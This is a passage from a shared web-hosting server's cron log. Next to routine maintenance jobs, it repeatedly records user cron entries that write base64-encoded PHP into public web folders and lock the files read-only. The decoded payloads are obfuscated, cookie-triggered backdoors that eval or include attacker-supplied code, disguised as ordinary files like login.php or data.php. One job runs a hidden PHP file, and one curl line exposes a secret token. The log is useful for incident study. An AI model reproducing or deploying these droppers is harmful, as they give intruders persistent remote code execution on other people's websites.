1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 05:41:01 medusa CROND[11423]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 05:41:01 medusa CROND[11424]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 05:41:01 medusa CROND[11429]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 05:41:01 medusa CROND[11428]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 05:42:01 medusa CROND[2876]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 05:42:01 medusa CROND[2948]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 05:42:01 medusa CROND[2950]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 05:42:01 medusa CROND[2951]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 05:42:01 medusa CROND[2952]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 05:42:01 medusa CROND[2953]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 05:42:01 medusa CROND[2960]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  1 05:42:01 medusa CROND[2961]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 05:42:01 medusa CROND[2962]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 05:42:01 medusa CROND[2963]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 05:42:01 medusa CROND[2964]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 05:42:01 medusa CROND[2965]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 05:42:01 medusa CROND[2966]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 05:43:01 medusa CROND[27555]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 05:43:01 medusa CROND[27628]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 05:43:01 medusa CROND[27631]: (anam1e7) CMD (php -q "/home16/anam1e7/public_html/wp-cron.php")
Mar  1 05:43:01 medusa CROND[27632]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 05:43:01 medusa CROND[27636]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 05:43:01 medusa CROND[27637]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 05:43:01 medusa CROND[27638]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 05:43:01 medusa CROND[27639]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 05:43:01 medusa CROND[27640]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 05:43:01 medusa CROND[27643]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9C